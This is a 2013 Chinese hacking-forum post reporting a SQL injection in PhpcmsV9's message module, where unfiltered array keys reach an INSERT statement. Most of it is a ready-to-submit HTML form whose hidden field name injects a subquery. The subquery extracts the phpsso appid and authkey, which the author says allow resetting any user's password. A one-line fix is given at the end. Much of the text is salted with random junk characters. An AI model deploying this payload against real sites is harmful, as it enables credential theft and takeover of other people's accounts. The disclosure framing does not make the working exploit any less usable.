找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1961|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:( R% `5 ^3 ]" G& D" R8 l

4 g: ?2 p; _2 a  [第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
4 X* _  [/ n7 [' k. r8 K8 f# |% }' ^: s# _$ k7 a. |
明天再更新下一个漏洞。. f7 a8 L8 e( N$ @/ L* R
详细说明:
$ G# \/ P6 h% M, v/ R' Q# V在/phpcms9/phpcms/modules/message/index.php中有代码如下:
: b' G5 P- K% T8 Q# @, B6 U
9 `9 @: z1 j! X' ]( I$messageid = $this->message_db->insert($_POST['info'],true);
  k+ g( V+ G/ F5 i: t! e  C+ t, Z& Q. ^" y' N) b' D3 b

& H- ?5 W) l5 D+ ]0 O- Ninsert方法是key value的,代码如下:, V$ }7 i' L' v, B7 g3 f

. R7 Y+ F! x# \0 g- _, Qpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
, e3 ^7 d/ ?; O. N                if(!is_array( $data ) || $table == '' || count($data) == 0) {6 Q! G8 L. `7 f7 l  B5 I( |1 q
                        return false;
! c/ n% @+ x6 d; S7 f/ x                }# S* r% [) L! [$ M9 T
               
8 Y: d( }. I4 [  h2 l4 ?7 O$ ^                $fielddata = array_keys($data);7 q3 x( N% K1 r, j4 G
                $valuedata = array_values($data);" O$ q5 C9 [! a1 D6 ]  k: m8 O# \
                array_walk($fielddata, array($this, 'add_special_char'));# e3 A; }# F$ P2 h
                array_walk($valuedata, array($this, 'escape_string'));
7 y1 Y$ R" n* {( H3 x+ g! o/ }$ p                % j) a- S% t0 u5 \5 V
                $field = implode (',', $fielddata);
& t, p' {' Q4 N3 U; _                $value = implode (',', $valuedata);% I0 Y6 a" T6 p. J" A) L# i' z

; [; i$ Z6 C8 Z4 g                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
/ L% F3 k, A1 N8 U5 o                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';& v3 E0 q5 t( |
                $return = $this->execute($sql);5 ^, b% ]/ Z, q% C) |. G
                return $return_insert_id ? $this->insert_id() : $return;( |# A2 V- @* c) J7 ]3 w
        }
! ]* J; x6 u4 B$ f+ ~9 {6 P6 J! ~& E" M. x! L4 {+ b9 T

$ \4 t/ w) W  b4 P! Y% v嗯,很遗憾的是" O  y! ~$ S- ^4 q

0 p$ m' h2 h3 H5 n4 V3 x' [array_walk($fielddata, array($this, 'add_special_char'));
- S! r, n% N; P' [7 ]( u
) ?/ V, ]1 B3 L/ Z  A# u9 c& Y) |2 A% w0 H2 }, K- ?/ b, [) N
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
7 C8 q2 ^* R, \* P3 S$ o8 H
$ x4 K: J, K2 t4 H. ?3 D: ]到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。( Q+ }. {* y9 q, I5 E1 `6 K* i: o
: z! s' A6 F% i5 k6 I) U% p
漏洞证明:) d' _5 u( }: v% T+ t
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。8 H( s+ r6 F8 p) {0 ]1 h4 J
" i; P% N6 q& P  s! P  A1 `  R7 z

, L4 J, l( m! J0 u1 h表单如下:用户名什么的得自己改一改。
3 P) t" m" q# c# b' K<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">0 W! S8 v/ o3 F. |9 T" A
<table width="100%" cellspacing="0" class="table_form">
' `' o7 G0 h) i9 ^<tr>
5 u. D- }( H: q' i. T. u8 `8 H<th>标 题:</th>
9 F6 s, J' {5 _% R) E<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
* l6 r, k8 M! U5 a% Z# V</tr>
' P2 p1 H! l! E  |, D<tr>: o3 h( P4 q, O/ T
<th>内 容:</th>
& x* h1 t, j/ A( T8 _<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
+ f" A- Y5 C6 j</tr>
( r, ~/ T9 y- w& D- o$ P<input type="hidden" name="info[replyid]" value="2" />
1 ^& S/ v: X5 \. G<input type="hidden" name="info[send_to_id]" value="cc" />
6 G' S. j! K) s# F3 Q9 x4 b<input type="hidden" name="info[send_from_id]" value="hh">/ T" L# u  W% k5 t& s! p
<!-- 漏洞的利用重点在这里开始 -->
# T$ q* z& W( i0 b0 L$ s0 p( M- `<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
9 u! `7 r; R2 b4 t' B& S<!-- 漏洞的利用重点在这里结束 -->" h# ~! M; Z; A* J' w) v
<tr>
# L3 R/ S. R  r<th>验证码:</th>
( b+ G" x; u. ]' i% J7 |( P9 ?<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
8 Q; j9 d! h1 i5 e5 D</tr>8 p) L; H; e. K- t. I* Z
<tr>
3 R4 O, S& ?3 O( F  T* g: P<td></td>
" A0 l6 W/ S/ f3 l8 O6 `3 c<td colspan="2"><label>
. s: g+ L4 O! r  r" P( J<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>- M( i9 W+ H9 Q% P
</label></td>
1 A# T+ J* _0 I, q</tr>: W7 G. w3 G) u# O( s
</table>/ V* r1 t; h" }8 U; y% C
</form>8 H; t5 ?" B+ @! O; ~! v, j8 n5 U! O
在add_special_char函数内对key做过滤就可以了。
  X0 h* T6 S# P  }8 v$ o! U% z  o
6 q3 b1 `0 t. b% L" F

3 A# y/ S/ E( Z- ^/ K! m* g

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表